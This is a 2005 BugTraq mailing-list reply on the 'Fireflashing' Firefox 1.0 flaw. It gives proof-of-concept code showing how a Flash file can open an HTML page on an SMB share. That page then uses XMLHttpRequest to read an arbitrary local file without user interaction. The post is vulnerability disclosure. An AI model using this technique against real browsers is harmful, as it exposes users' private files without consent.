BugTraq
Fireflashing [Firefox 1.0] Feb 07 2005 05:52PM
mikx (mikx mikx de) (1 replies)
Re: [Full-Disclosure] Fireflashing [Firefox 1.0] Feb 12 2005 02:25PM
Jelmer Kuperus (jkuperus planet nl)
I took a quick 5 minute look at this, and it looks like you can read
arbitrary files with this without requiring any kind of user interaction.

Just create a file called whatever.html on a windows SMB share with this
content

--snip--

<script language="javascript">
var oXML=new XMLHttpRequest();
oXML.open("GET","file:///C:/jelmer.txt",false);
oXML.send(null);
alert(oXML.responseText);
</script>

--snip--

Now create a flash file that opens file://///SOME_IP/SHARENAME/whatever.html
(I just created an empty flash file with a single action that contained
the following line of actionscript : getURL
("file://///SOME_IP/SHARENAME/whatever.html", "_self"); )
and presto it will display the contents of c:\jelmer.txt

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus